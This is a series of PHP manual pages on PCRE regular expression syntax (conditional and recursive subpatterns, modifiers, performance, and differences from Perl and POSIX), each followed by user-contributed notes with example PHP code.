preg_match("#((?>\D+)|<\d+>)*(?<=[!?])#", "aaaaaaaaaa!", $matches);
print_r($matches);

Array
(
    [0] => aaaaaaaaaa!
    [1] => aaaaaaaaaa!
)
northhero at gmail dot com 19-Jun-2011 01:54
The following two patterns are not equal to each other:
(\D+|<\d+>)*[!?]   and   ((?>\D+)|<\d+>)*[!?]

For example
The former matches the string of 'aaaaaaaaaaaa!', but the later does NOT.
Assertions
Conditional subpatterns
PCRE regex syntax


Conditional subpatterns

It is possible to cause the matching process to obey a subpattern conditionally or to choose between two alternative subpatterns, depending on the result of an assertion, or whether a previous capturing subpattern matched or not. The two possible forms of conditional subpattern are

(?(condition)yes-pattern)
(?(condition)yes-pattern|no-pattern)

If the condition is satisfied, the yes-pattern is used; otherwise the no-pattern (if present) is used. If there are more than two alternatives in the subpattern, a compile-time error occurs.

There are two kinds of condition. If the text between the parentheses consists of a sequence of digits, then the condition is satisfied if the capturing subpattern of that number has previously matched. Consider the following pattern, which contains non-significant white space to make it more readable (assume the PCRE_EXTENDED option) and to divide it into three parts for ease of discussion: ( \( )? [^()]+ (?(1) \) )

The first part matches an optional opening parenthesis, and if that character is present, sets it as the first captured substring. The second part matches one or more characters that are not parentheses. The third part is a conditional subpattern that tests whether the first set of parentheses matched or not. If they did, that is, if subject started with an opening parenthesis, the condition is TRUE, and so the yes-pattern is executed and a closing parenthesis is required. Otherwise, since no-pattern is not present, the subpattern matches nothing. In other words, this pattern matches a sequence of non-parentheses, optionally enclosed in parentheses.

If the condition is the string (R), it is satisfied if a recursive call to the pattern or subpattern has been made. At "top level", the condition is false.

If the condition is not a sequence of digits or (R), it must be an assertion. This may be a positive or negative lookahead or lookbehind assertion. Consider this pattern, again containing non-significant white space, and with the two alternatives on the second line:

(?(?=[^a-z]*[a-z])
\d{2}-[a-z]{3}-\d{2}  |  \d{2}-\d{2}-\d{2} )

The condition is a positive lookahead assertion that matches an optional sequence of non-letters followed by a letter. In other words, it tests for the presence of at least one letter in the subject. If a letter is found, the subject is matched against the first alternative; otherwise it is matched against the second. This pattern matches strings in one of the two forms dd-aaa-dd or dd-dd-dd, where aaa are letters and dd are digits.

User Contributed Notes

Anonymous 06-Feb-2011 09:26
Repetition of a subpattern will repeat conditionals that are contained inside it, updating subpattern matches with iteration.

Consider the following code, which scans thru HTML, keeping track of angle brackets "<" ">".  If open bracket "<" matches, then closing bracket ">" must follow before repetition can possibly end.  That way regex will effectively match only outside of tags.

<?php
$pattern='%(*ANY)(.*?(<)(?(2).*?>)(.*?))*?\'\'%s';
$replace='\1Fred';
$subject=
'<html><body class=\'\'>\'\' went to '\'\meyer and ran
into <b>\'\'</b>.
</body></html>'
echo preg_replace("%(*ANY)(.*?((<)(?(3).*?>).*?)*?)\'\'%s",'\1Fred',$subject);
?>

Output will be:
'<html><body class=\'\'>Fred went to Fredmeyer and ran
into <b>Fred</b>.
</body></html>'
Once-only subpatterns
Comments
PCRE regex syntax


Comments

The sequence (?# marks the start of a comment which continues up to the next closing parenthesis. Nested parentheses are not permitted. The characters that make up a comment play no part in the pattern matching at all.

If the PCRE_EXTENDED option is set, an unescaped # character outside a character class introduces a comment that continues up to the next newline character in the pattern.

User Contributed Notes

There are no user contributed notes for this page.
Conditional subpatterns
Recursive patterns
PCRE regex syntax


Recursive patterns

Consider the problem of matching a string in parentheses, allowing for unlimited nested parentheses. Without the use of recursion, the best that can be done is to use a pattern that matches up to some fixed depth of nesting. It is not possible to handle an arbitrary nesting depth. Perl 5.6 has provided an experimental facility that allows regular expressions to recurse (among other things). The special item (?R) is provided for the specific case of recursion. This PCRE pattern solves the parentheses problem (assume the PCRE_EXTENDED option is set so that white space is ignored): \( ( (?>[^()]+) | (?R) )* \)

First it matches an opening parenthesis. Then it matches any number of substrings which can either be a sequence of non-parentheses, or a recursive match of the pattern itself (i.e. a correctly parenthesized substring). Finally there is a closing parenthesis.

This particular example pattern contains nested unlimited repeats, and so the use of a once-only subpattern for matching strings of non-parentheses is important when applying the pattern to strings that do not match. For example, when it is applied to (aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa() it yields "no match" quickly. However, if a once-only subpattern is not used, the match runs for a very long time indeed because there are so many different ways the + and * repeats can carve up the subject, and all have to be tested before failure can be reported.

The values set for any capturing subpatterns are those from the outermost level of the recursion at which the subpattern value is set. If the pattern above is matched against (ab(cd)ef) the value for the capturing parentheses is "ef", which is the last value taken on at the top level. If additional parentheses are added, giving \( ( ( (?>[^()]+) | (?R) )* ) \) then the string they capture is "ab(cd)ef", the contents of the top level parentheses. If there are more than 15 capturing parentheses in a pattern, PCRE has to obtain extra memory to store data during a recursion, which it does by using pcre_malloc, freeing it via pcre_free afterwards. If no memory can be obtained, it saves data for the first 15 capturing parentheses only, as there is no way to give an out-of-memory error from within a recursion.

(?1), (?2) and so on can be used for recursive subpatterns too. It is also possible to use named subpatterns: (?P>name) or (?P&name).

If the syntax for a recursive subpattern reference (either by number or by name) is used outside the parentheses to which it refers, it operates like a subroutine in a programming language. An earlier example pointed out that the pattern (sens|respons)e and \1ibility matches "sense and sensibility" and "response and responsibility", but not "sense and responsibility". If instead the pattern (sens|respons)e and (?1)ibility is used, it does match "sense and responsibility" as well as the other two strings. Such references must, however, follow the subpattern to which they refer.

The maximum length of a subject string is the largest positive number that an integer variable can hold. However, PCRE uses recursion to handle subpatterns and indefinite repetition. This means that the available stack space may limit the size of a subject string that can be processed by certain patterns.

User Contributed Notes

Onyxagargaryll 03-Mar-2011 04:49
Here's an approach to create a multidimensional array according to a string's delimiters, i.e. we want to analyze...

"some text (aaa(b(c1)(c2)d)e)(test) more text"

... as multidimensional layers.

<?php
$string = "some text (aaa(b(c1)(c2)d)e)(test) more text";

/*
 * Analyses the string multidimensionally by its opening and closing delimiters
 */
function recursiveSplit($string, $layer) {
    preg_match_all("/\((([^()]*|(?R))*)\)/",$string,$matches);
    // iterate thru matches and continue recursive split
    if (count($matches) > 1) {
        for ($i = 0; $i < count($matches[1]); $i++) {
            if (is_string($matches[1][$i])) {
                if (strlen($matches[1][$i]) > 0) {
                    echo "<pre>Layer ".$layer.":   ".$matches[1][$i]."</pre><br />";
                    recursiveSplit($matches[1][$i], $layer + 1);
                }
            }
        }
    }
}

recursiveSplit($string, 0);

/*

Output:

Layer 0:   aaa(b(c1)(c2)d)e

Layer 1:   b(c1)(c2)d

Layer 2:   c1

Layer 2:   c2

Layer 0:   test
*/
?>
jonah at nucleussystems dot com 21-Dec-2010 06:18
An unexpected behavior came up that introduced a very hard-to-track bug in some code I was working on.  It has to do with the preg_match_all PREG_OFFSET_CAPTURE flag.  When you capture the offset of a sub-match, it's offset is given _relative_ to it's parent.  For example, if you extract the value between < and > recursively in this string:

<this is a <string>>

You will get an array that looks like this:

Array
(
    [0] => Array
    (
        [0] => Array
        (
            [0] => <this is a <string>>
            [1] => 0
        )
        [1] => Array
        (
            [0] => this is a <string>
            [1] => 1
        )
    )
    [1] => Array
    (
        [0] => Array
        (
            [0] => <string>
            [1] => 0
        )
        [1] => Array
        (
            [0] => string
            [1] => 1
        )
    )
)

Notice that the offset in the last index is one, not the twelve we expected.  The best way to solve this problem is to run over the results with a recursive function, adding the parent's offset.
emanueledelgrande at email dot it 09-Jan-2010 03:47
The recursion in regular expressions is the only way to allow the parsing of HTML code with nested tags of indefinite depth.
It seems it's not yet a spreaded practice; not so much contents are available on the web regarding regexp recursion, and until now no user contribute notes have been published on this manual page.
I made several tests with complex patterns to get tags with specific attributes or namespaces, studying the recursion of a subpattern only instead of the full pattern.
Here's an example that may power a fast LL parser with recursive descent (http://en.wikipedia.org/wiki/Recursive_descent_parser):

$pattern = "/<([\w]+)([^>]*?) (([\s]*\/>)| (>((([^<]*?|<\!\-\-.*?\-\->)| (?R))*)<\/\\1[\s]*>))/xsm";

The performances of a preg_match or preg_match_all function call over an avarage (x)HTML document are quite fast and may drive you to chose this way instead of classic DOM object methods, which have a lot of limits and are usually poor in performance with their workarounds, too.
I post a sample application in a brief function (easy to be turned into OOP), which returns an array of objects:

<?php
// test function:
function parse($html) {
    // I have split the pattern in two lines not to have long lines alerts by the PHP.net form:
    $pattern = "/<([\w]+)([^>]*?)(([\s]*\/>)|".
    "(>((([^<]*?|<\!\-\-.*?\-\->)|(?R))*)<\/\\1[\s]*>))/sm";
    preg_match_all($pattern, $html, $matches, PREG_OFFSET_CAPTURE);
    $elements = array();

    foreach ($matches[0] as $key => $match) {
        $elements[] = (object)array(
            'node' => $match[0],
            'offset' => $match[1],
            'tagname' => $matches[1][$key][0],
            'attributes' => isset($matches[2][$key][0]) ? $matches[2][$key][0] : '',
            'omittag' => ($matches[4][$key][1] > -1), // boolean
            'inner_html' => isset($matches[6][$key][0]) ? $matches[6][$key][0] : ''
        );
    }
    return $elements;
}

// random html nodes as example:
$html = <<<EOD
<div id="airport">
    <div geo:position="1.234324,3.455546" class="index">
        <!-- comment test:
        <div class="index_top" />
        -->
        <div class="element decorator">
                <ul class="lister">
                    <li onclick="javascript:item.showAttribute('desc');">
                        <h3 class="outline">
                            <a href="http://php.net/manual/en/regexp.reference.recursive.php" onclick="openPopup()">Link</a>
                        </h3>
                        <div class="description">Sample description</div>
                    </li>
                </ul>
        </div>
        <div class="clean-line"></div>
    </div>
</div>
<div id="omittag_test" rel="rootChild" />
EOD;

// application:
$elements = parse($html);

if (count($elements) > 0) {
    echo "Elements found: <b>".count($elements)."</b><br />";

    foreach ($elements as $element) {
        echo "<p>Tpl node: <pre>".htmlentities($element->node)."</pre>
        Tagname: <tt>".$element->tagname."</tt><br />
        Attributes: <tt>".$element->attributes."</tt><br />
        Omittag: <tt>".($element->omittag ? 'true' : 'false')."</tt><br />
        Inner HTML: <pre>".htmlentities($element->inner_html)."</pre></p>";
    }
}
?>
Comments
Performance
PCRE regex syntax


Performance

Certain items that may appear in patterns are more efficient than others. It is more efficient to use a character class like [aeiou] than a set of alternatives such as (a|e|i|o|u). In general, the simplest construction that provides the required behaviour is usually the most efficient. Jeffrey Friedl's book contains a lot of discussion about optimizing regular expressions for efficient performance.

When a pattern begins with .* and the PCRE_DOTALL option is set, the pattern is implicitly anchored by PCRE, since it can match only at the start of a subject string. However, if PCRE_DOTALL is not set, PCRE cannot make this optimization, because the . metacharacter does not then match a newline, and if the subject string contains newlines, the pattern may match from the character immediately following one of them instead of from the very start. For example, the pattern (.*) second matches the subject "first\nand second" (where \n stands for a newline character) with the first captured substring being "and". In order to do this, PCRE has to retry the match starting after every newline in the subject.

If you are using such a pattern with subject strings that do not contain newlines, the best performance is obtained by setting PCRE_DOTALL, or starting the pattern with ^.* to indicate explicit anchoring. That saves PCRE from having to scan along the subject looking for a newline to restart at.

Beware of patterns that contain nested indefinite repeats. These can take a long time to run when applied to a string that does not match. Consider the pattern fragment (a+)*

This can match "aaaa" in 33 different ways, and this number increases very rapidly as the string gets longer. (The * repeat can match 0, 1, 2, 3, or 4 times, and for each of those cases other than 0, the + repeats can match different numbers of times.) When the remainder of the pattern is such that the entire match is going to fail, PCRE has in principle to try every possible variation, and this can take an extremely long time.

An optimization catches some of the more simple cases such as (a+)*b where a literal character follows. Before embarking on the standard matching procedure, PCRE checks that there is a "b" later in the subject string, and if there is not, it fails the match immediately. However, when there is no following literal this optimization cannot be used. You can see the difference by comparing the behaviour of (a+)*\d with the pattern above. The former gives a failure almost instantly when applied to a whole line of "a" characters, whereas the latter takes an appreciable time with strings longer than about 20 characters.

User Contributed Notes

There are no user contributed notes for this page.
Recursive patterns
Possible modifiers in regex patterns
PCRE regex syntax


Pattern Modifiers

The current possible PCRE modifiers are listed below. The names in parentheses refer to internal PCRE names for these modifiers. Spaces and newlines are ignored in modifiers, other characters cause error.

i (PCRE_CASELESS)
If this modifier is set, letters in the pattern match both upper and lower case letters.
m (PCRE_MULTILINE)
By default, PCRE treats the subject string as consisting of a single "line" of characters (even if it actually contains several newlines). The "start of line" metacharacter (^) matches only at the start of the string, while the "end of line" metacharacter ($) matches only at the end of the string, or before a terminating newline (unless D modifier is set). This is the same as Perl. When this modifier is set, the "start of line" and "end of line" constructs match immediately following or immediately before any newline in the subject string, respectively, as well as at the very start and end. This is equivalent to Perl's /m modifier. If there are no "\n" characters in a subject string, or no occurrences of ^ or $ in a pattern, setting this modifier has no effect.
s (PCRE_DOTALL)
If this modifier is set, a dot metacharacter in the pattern matches all characters, including newlines. Without it, newlines are excluded. This modifier is equivalent to Perl's /s modifier. A negative class such as [^a] always matches a newline character, independent of the setting of this modifier.
x (PCRE_EXTENDED)
If this modifier is set, whitespace data characters in the pattern are totally ignored except when escaped or inside a character class, and characters between an unescaped # outside a character class and the next newline character, inclusive, are also ignored. This is equivalent to Perl's /x modifier, and makes it possible to include comments inside complicated patterns. Note, however, that this applies only to data characters. Whitespace characters may never appear within special character sequences in a pattern, for example within the sequence (?( which introduces a conditional subpattern.
e (PREG_REPLACE_EVAL)
If this modifier is set, preg_replace() does normal substitution of backreferences in the replacement string, evaluates it as PHP code, and uses the result for replacing the search string. Single quotes, double quotes, backslashes (\) and NULL chars will be escaped by backslashes in substituted backreferences.
Caution

The addslashes() function is run on each matched backreference before the substitution takes place. As such, when the backreference is used as a quoted string, escaped characters will be converted to literals. However, characters which are escaped, which would normally not be converted, will retain their slashes. This makes use of this modifier very complicated.

Caution

Make sure that replacement constitutes a valid PHP code string, otherwise PHP will complain about a parse error at the line containing preg_replace().

Note:

Only preg_replace() uses this modifier; it is ignored by other PCRE functions.

A (PCRE_ANCHORED)
If this modifier is set, the pattern is forced to be "anchored", that is, it is constrained to match only at the start of the string which is being searched (the "subject string"). This effect can also be achieved by appropriate constructs in the pattern itself, which is the only way to do it in Perl.
D (PCRE_DOLLAR_ENDONLY)
If this modifier is set, a dollar metacharacter in the pattern matches only at the end of the subject string. Without this modifier, a dollar also matches immediately before the final character if it is a newline (but not before any other newlines). This modifier is ignored if m modifier is set. There is no equivalent to this modifier in Perl.
S
When a pattern is going to be used several times, it is worth spending more time analyzing it in order to speed up the time taken for matching. If this modifier is set, then this extra analysis is performed. At present, studying a pattern is useful only for non-anchored patterns that do not have a single fixed starting character.
U (PCRE_UNGREEDY)
This modifier inverts the "greediness" of the quantifiers so that they are not greedy by default, but become greedy if followed by ?. It is not compatible with Perl. It can also be set by a (?U) modifier setting within the pattern or by a question mark behind a quantifier (e.g. .*?).

Note:

It is usually not possible to match more than pcre.backtrack_limit characters in ungreedy mode.

X (PCRE_EXTRA)
This modifier turns on additional functionality of PCRE that is incompatible with Perl. Any backslash in a pattern that is followed by a letter that has no special meaning causes an error, thus reserving these combinations for future expansion. By default, as in Perl, a backslash followed by a letter with no special meaning is treated as a literal. There are at present no other features controlled by this modifier.
J (PCRE_INFO_JCHANGED)
The (?J) internal option setting changes the local PCRE_DUPNAMES option. Allow duplicate names for subpatterns.
u (PCRE8)
This modifier turns on additional functionality of PCRE that is incompatible with Perl. Pattern strings are treated as UTF-8. This modifier is available from PHP 4.1.0 or greater on Unix and from PHP 4.2.3 on win32. UTF-8 validity of the pattern is checked since PHP 4.3.5.

User Contributed Notes

phpman at crustynet dot org dot uk 08-Apr-2011 08:03
The description of the "u" flag is a bit misleading. It suggests that it is only required if the pattern contains UTF-8 characters, when in fact it is required if either the pattern or the subject contain UTF-8. Without it, I was having problems with preg_match_all returning invalid multibyte characters when given a UTF-8 subject string.

It's fairly clear if you read the documentation for libpcre:

       In  order  process  UTF-8 strings, you must build PCRE to include UTF-8
       support in the code, and, in addition,  you  must  call  pcre_compile()
       with  the  PCRE_UTF8  option  flag,  or the pattern must start with the
       sequence (*UTF8). When either of these is the case,  both  the  pattern
       and  any  subject  strings  that  are matched against it are treated as
       UTF-8 strings instead of strings of 1-byte characters.

[from http://www.pcre.org/pcre.txt]
michal dot kocarek at brainbox dot cz 18-May-2009 04:49
In case you're wondering, what is the meaning of "S" modifier, this paragraph might be useful:

When "S" modifier is set, PHP calls the pcre_study() function from the PCRE API before executing the regexp. Result from the function is passed directly to pcre_exec().

For more information about pcre_study() and "Studying the pattern" check the PCRE manual on http://www.pcre.org/pcre.txt

PS: Note that function names "pcre_study" and "pcre_exec" used here refer to PCRE library functions written in C language and not to any PHP functions.
ebarnard at marathonmultimedia dot com 06-Feb-2007 02:35
When adding comments with the /x modifier, don't use the pattern delimiter in the comments. It may not be ignored in the comments area. Example:

<?php
$target = 'some text';
if(preg_match('/
                e # Comments here
               /x',$target)) {
    print "Target 1 hit.\n";
}
if(preg_match('/
                e # /Comments here with slash
               /x',$target)) {
    print "Target 1 hit.\n";
}
?>

prints "Target 1 hit." but then generates a PHP warning message for the second preg_match():

Warning:  preg_match() [function.preg-match]: Unknown modifier 'C' in /ebarnard/x-modifier.php on line 11
varrah NO_GARBAGE_OR_SPAM AT mail DOT ru 03-Nov-2005 04:12
Spent a few days, trying to understand how to create a pattern for Unicode chars, using the hex codes. Finally made it, after reading several manuals, that weren't giving any practical PHP-valid examples. So here's one of them:

For example we would like to search for Japanese-standard circled numbers 1-9 (Unicode codes are 0x2460-0x2468) in order to make it through the hex-codes the following call should be used:
preg_match('/[\x{2460}-\x{2468}]/u', $str);

Here $str is a haystack string
\x{hex} - is an UTF-8 hex char-code
and /u is used for identifying the class as a class of Unicode chars.

Hope, it'll be useful.
hfuecks at nospam dot org 15-Jul-2005 07:14
Regarding the validity of a UTF-8 string when using the /u pattern modifier, some things to be aware of;

1. If the pattern itself contains an invalid UTF-8 character, you get an error (as mentioned in the docs above - "UTF-8 validity of the pattern is checked since PHP 4.3.5"

2. When the subject string contains invalid UTF-8 sequences / codepoints, it basically result in a "quiet death" for the preg_* functions, where nothing is matched but without indication that the string is invalid UTF-8

3. PCRE regards five and six octet UTF-8 character sequences as valid (both in patterns and the subject string) but these are not supported in Unicode ( see section 5.9 "Character Encoding" of the "Secure Programming for Linux and Unix HOWTO" - can be found at http://www.tldp.org/ and other places )

4. For an example algorithm in PHP which tests the validity of a UTF-8 string (and discards five / six octet sequences) head to: http://hsivonen.iki.fi/php-utf8/

The following script should give you an idea of what works and what doesn't;

<?php
$examples = array(
    'Valid ASCII' => "a",
    'Valid 2 Octet Sequence' => "\xc3\xb1",
    'Invalid 2 Octet Sequence' => "\xc3\x28",
    'Invalid Sequence Identifier' => "\xa0\xa1",
    'Valid 3 Octet Sequence' => "\xe2\x82\xa1",
    'Invalid 3 Octet Sequence (in 2nd Octet)' => "\xe2\x28\xa1",
    'Invalid 3 Octet Sequence (in 3rd Octet)' => "\xe2\x82\x28",

    'Valid 4 Octet Sequence' => "\xf0\x90\x8c\xbc",
    'Invalid 4 Octet Sequence (in 2nd Octet)' => "\xf0\x28\x8c\xbc",
    'Invalid 4 Octet Sequence (in 3rd Octet)' => "\xf0\x90\x28\xbc",
    'Invalid 4 Octet Sequence (in 4th Octet)' => "\xf0\x28\x8c\x28",
    'Valid 5 Octet Sequence (but not Unicode!)' => "\xf8\xa1\xa1\xa1\xa1",
    'Valid 6 Octet Sequence (but not Unicode!)' => "\xfc\xa1\xa1\xa1\xa1\xa1",
);

echo "++Invalid UTF-8 in pattern\n";
foreach ( $examples as $name => $str ) {
    echo "$name\n";
    preg_match("/".$str."/u",'Testing');
}

echo "++ preg_match() examples\n";
foreach ( $examples as $name => $str ) {

    preg_match("/\xf8\xa1\xa1\xa1\xa1/u", $str, $ar);
    echo "$name: ";

    if ( count($ar) == 0 ) {
        echo "Matched nothing!\n";
    } else {
        echo "Matched {$ar[0]}\n";
    }

}

echo "++ preg_match_all() examples\n";
foreach ( $examples as $name => $str ) {
    preg_match_all('/./u', $str, $ar);
    echo "$name: ";

    $num_utf8_chars = count($ar[0]);
    if ( $num_utf8_chars == 0 ) {
        echo "Matched nothing!\n";
    } else {
        echo "Matched $num_utf8_chars character\n";
    }

}
?>
csaba at alum dot mit dot edu 08-Apr-2005 05:40
Extracting lines of text:

You might want to grab a line of text within a multiline piece of text.  For example, suppose you want to replace the first and last lines within the <body> portion of a web $page with your own $lineFirst and $lineLast.  Here's one possible way:

<?php
$lineFirst = "This is a new first line<br>\r\n";
$lineLast  = "This is a new last line<br>\r\n";
$page = <<<EOD
<html><head>
<title>This is a test page</title>
</head><body>
This is the first line<br>
Hi Fred<br>
Hi Bill<br>
This is the last line<br>
</body>
</html>
EOD;
$re = "/<body>.*^(.+)(^.*?^)(.+)(^<\\/body>.*?)/smU";
if (preg_match($re, $page, $aMatch, PREG_OFFSET_CAPTURE))
$newPage = substr($text, 0, $aMatch[1][1]) .
           $lineFirst . $aMatch[2][0] .
           $lineLast . $aMatch[4][0];
print $newPage;
?>

The two (.+) are supposed to match the first and last lines within the <body> tag.  The /s option (dot all) is needed so the .* can also match newlines.  The /m option (multiline) is needed so that the ^ can match newlines.  The /U option (ungreedy) is needed so that the .* and .+ will only gobble up the minimum number of characters necessary to get to the character following the * or +.  The exception to this, however, is that the .*? temporarily overrides the /U setting on .* turning it from non greedy to greedy.  In the middle, this ensures that all the lines except the first and last (within the <body> tag) are put into $aMatch[2].  At the end, it ensures that all the remaining characters in the string are gobbled up, which could also have been achieved by .*)\\z/ instead of .*?)/

Csaba Gabor from Vienna
Performance
Differences From Perl
PCRE Patterns


Perl Differences

The differences described here are with respect to Perl 5.005.

  1. By default, a whitespace character is any character that the C library function isspace() recognizes, though it is possible to compile PCRE with alternative character type tables. Normally isspace() matches space, formfeed, newline, carriage return, horizontal tab, and vertical tab. Perl 5 no longer includes vertical tab in its set of whitespace characters. The \v escape that was in the Perl documentation for a long time was never in fact recognized. However, the character itself was treated as whitespace at least up to 5.002. In 5.004 and 5.005 it does not match \s.
  2. PCRE does not allow repeat quantifiers on lookahead assertions. Perl permits them, but they do not mean what you might think. For example, (?!a){3} does not assert that the next three characters are not "a". It just asserts that the next character is not "a" three times.
  3. Capturing subpatterns that occur inside negative lookahead assertions are counted, but their entries in the offsets vector are never set. Perl sets its numerical variables from any such patterns that are matched before the assertion fails to match something (thereby succeeding), but only if the negative lookahead assertion contains just one branch.
  4. Though binary zero characters are supported in the subject string, they are not allowed in a pattern string because it is passed as a normal C string, terminated by zero. The escape sequence "\x00" can be used in the pattern to represent a binary zero.
  5. The following Perl escape sequences are not supported: \l, \u, \L, \U. In fact these are implemented by Perl's general string-handling and are not part of its pattern matching engine.
  6. The Perl \G assertion is not supported as it is not relevant to single pattern matches.
  7. Fairly obviously, PCRE does not support the (?{code}) and (??{code}) construction. However, there is support for recursive patterns.
  8. There are at the time of writing some oddities in Perl 5.005_02 concerned with the settings of captured strings when part of a pattern is repeated. For example, matching "aba" against the pattern /^(a(b)?)+$/ sets $2 to the value "b", but matching "aabbaa" against /^(aa(bb)?)+$/ leaves $2 unset. However, if the pattern is changed to /^(aa(b(b))?)+$/ then $2 (and $3) get set. In Perl 5.004 $2 is set in both cases, and that is also TRUE of PCRE. If in the future Perl changes to a consistent state that is different, PCRE may change to follow.
  9. Another as yet unresolved discrepancy is that in Perl 5.005_02 the pattern /^(a)?(?(1)a|b)+$/ matches the string "a", whereas in PCRE it does not. However, in both Perl and PCRE /^(a)?a/ matched against "a" leaves $1 unset.

  10. PCRE provides some extensions to the Perl regular expression facilities:

    1. Although lookbehind assertions must match fixed length strings, each alternative branch of a lookbehind assertion can match a different length of string. Perl 5.005 requires them all to have the same length.
    2. If PCRE_DOLLAR_ENDONLY is set and PCRE_MULTILINE is not set, the $ meta-character matches only at the very end of the string.
    3. If PCRE_EXTRA is set, a backslash followed by a letter with no special meaning is faulted.
    4. If PCRE_UNGREEDY is set, the greediness of the repetition quantifiers is inverted, that is, by default they are not greedy, but if followed by a question mark they are.

User Contributed Notes

dgatwood at mac dot com 28-Apr-2010 12:54
There's also one other MAJOR difference between Perl and PHP: PHP does not support \Q and \E for quoting strings.  You must use preg_quote to generate a quoted copy of the string instead.
henke at henke37 dot cjb dot net 14-Aug-2009 04:48
Also obviously, perl is not going to execute php code when the e modifier is used for replacements.
Possible modifiers in regex patterns
Differences from POSIX regex
PCRE Patterns


Differences from POSIX regex

As of PHP 5.3.0, the POSIX Regex extension is deprecated. There are a number of differences between POSIX regex and PCRE regex. This page lists the most notable ones that are necessary to know when converting to PCRE.

  1. The PCRE functions require that the pattern is enclosed by delimiters.
  2. Unlike POSIX, the PCRE extension does not have dedicated functions for case-insensitive matching. Instead, this is supported using the i (PCRE_CASELESS) pattern modifier. Other pattern modifiers are also available for changing the matching strategy.
  3. The POSIX functions find the longest of the leftmost match, but PCRE stops on the first valid match. If the string doesn't match at all it makes no difference, but if it matches it may have dramatic effects on both the resulting match and the matching speed. To illustrate this difference, consider the following example from "Mastering Regular Expressions" by Jeffrey Friedl. Using the pattern one(self)?(selfsufficient)? on the string oneselfsufficient with PCRE will result in matching oneself, but using POSIX the result will be the full string oneselfsufficient. Both (sub)strings match the original string, but POSIX requires that the longest be the result.

Function replacements
POSIX | PCRE
ereg_replace() | preg_replace()
ereg() | preg_match()
eregi_replace() | preg_replace()
eregi() | preg_match()
split() | preg_split()
spliti() | preg_split()
sql_regcase() | No equivalent

User Contributed Notes

jasen at treshna dot com 26-Oct-2011 03:11
there are several other differences

including different meaning for the symbols  ( [
different rules for which symbols need escaping (they can't be the same as both standard posix and extended posix)

you should read the full documentation for PCRE before chaging any posix regex to use pcre.
Differences From Perl
PCRE Functions
PCRE Patterns


PCRE Functions

Table of Contents

  • preg_filter — Perform a regular expression search and replace
  • preg_grep — Return array entries that match the pattern
  • preg_last_error — Returns the error code of the last PCRE regex execution
  • preg_match_all — Perform a global regular expression match
  • preg_match — Perform a regular expression match
  • preg_quote — Quote regular expression characters
  • preg_replace_callback — Perform a regular expression search and replace using a callback
  • preg_replace — Perform a regular expression search and replace
  • preg_split — Split string by a regular expression

User Contributed Notes

Svoop 10-Feb-2009 05:43
I have written a short introduction and a colorful cheat sheet for Perl Compatible Regular Expressions (PCRE):

http://www.bitcetera.com/en/techblog/2008/04/01/regex-in-a-nutshell/
stronk7 at moodle dot org 13-Sep-2007 01:42
One comment about 5.2.x and the pcre.backtrack_limit:

Note that this setting wasn't present under previous PHP releases and the behaviour (or limit) under those releases was, in practise,  higher so all these PCRE functions were able to "capture" longer strings.

With the arrival of the setting, defaulting to 100000 (less than 100K), you won't be able to match/capture strings over that size using, for example "ungreedy" modifiers.

So, in a lot of situations, you'll need to raise that (very small IMO) limit.

The worst part is that PHP simply won't match/capture those strings over pcre.backtrack_limit and will it be 100% silent about that (I think that throwing some NOTICE/WARNING if raised could help a lot to developers).

There is a lot of people suffering this changed behaviour from I've read on forums, bugs and so on).

Hope this note helps, ciao :-)
misc at e2007 dot cynergi dot com 05-May-2007 04:16
PCRE faster than POSIX RE? Not always.

In a recent search-engine project here at Cynergi, I had a simple loop with a few cute ereg_replace() functions that took 3min to process data. I changed that 10-line loop into a 100-line hand-written code for replacement and the loop now took 10s to process the same data! This opened my eye to what can *IN SOME CASES* be very slow regular expressions.

Lately I decided to look into Perl-compatible regular expressions (PCRE). Most pages claim PCRE are faster than POSIX, but a few claim otherwise. I decided on bechmarks of my own.

My first few tests confirmed PCRE to be faster, but... the results were slightly different than others were getting, so I decided to benchmark every case of RE usage I had on a 8000-line secure (and fast) Webmail project here at Cynergi to check it out.

The results? Inconclusive! Sometimes PCRE *are* faster (sometimes by a factor greater than 100x faster!), but some other times POSIX RE are faster (by a factor of 2x).

I still have to find a rule on when are one or the other faster. It's not only about search data size, amount of data matched, or "RE compilation time" which would show when you repeated the function often: one would *always* be faster than the other. But I didn't find a pattern here. But truth be said, I also didn't take the time to look into the source code and analyse the problem.

I can give you some examples, though. The POSIX RE

([0-9]{4})/([0-9]{2})/([0-9]{2})[^0-9]+
([0-9]{2}):([0-9]{2}):([0-9]{2})

is 30% faster in POSIX than when converted to PCRE (even if you use \d and \D and non-greedy matching). On the other hand, a similarly PCRE complex pattern

/[0-9]{1,2}[ \t]+[a-zA-Z]{3}[ \t]+[0-9]{4}[ \t]+[0-9]{1,2}:[0-9]{1,2}(:[0-9]{1,2})?[ \t]+[+-][0-9]{4}/

is 2.5x faster in PCRE than in POSIX RE. Simple replacement patterns like

ereg_replace( "[^a-zA-Z0-9-]+", "", $m );

are 2x faster in POSIX RE than PCRE. And then we get confused again because a POSIX RE pattern like

(^|\n|\r)begin-base64[ \t]+[0-7]{3,4}[ \t]+......

is 2x faster as POSIX RE, but the case-insensitive PCRE

/^Received[ \t]*:[ \t]*by[ \t]+([^ \t]+)[ \t]/i

is 30x faster than its POSIX RE version!

When it comes to case sensitivity, PCRE has so far seemed to be the best option. But I found some really strange behaviour from ereg/eregi. On a very simple POSIX RE

(^|\r|\n)mime-version[ \t]*:

I found eregi() taking 3.60s (just a number in a test benchmark), while the corresponding PCRE took 0.16s! But if I used ereg() (case-sensitive) the POSIX RE time went down to 0.08s! So I investigated further. I tried to make the POSIX RE case-insensitive itself. I got as far as this:

(^|\r|\n)[mM][iI][mM][eE]-vers[iI][oO][nN][ \t]*:

This version also took 0.08s. But if I try to apply the same rule to any of the 'v', 'e', 'r' or 's' letters that are not changed, the time is back to the 3.60s mark, and not gradually, but immediatelly so! The test data didn't have any "vers" in it, other "mime" words in it or any "ion" that might be confusing the POSIX parser, so I'm at a loss.

Bottom line: always benchmark your PCRE / POSIX RE to find the fastest!

Tests were performed with PHP 5.1.2 under Windows, from the command line.

Pedro Freire
cynergi.com
richardh at phpguru dot org 22-Sep-2005 11:50
There's a printable PDF PCRE cheat sheet available here:

http://www.phpguru.org/article.php?ne_id=67

Has the common metacharacters, quantifiers, pattern modifiers, character classes and assertions with short explanations.
Ned Baldessin 23-Oct-2004 06:08
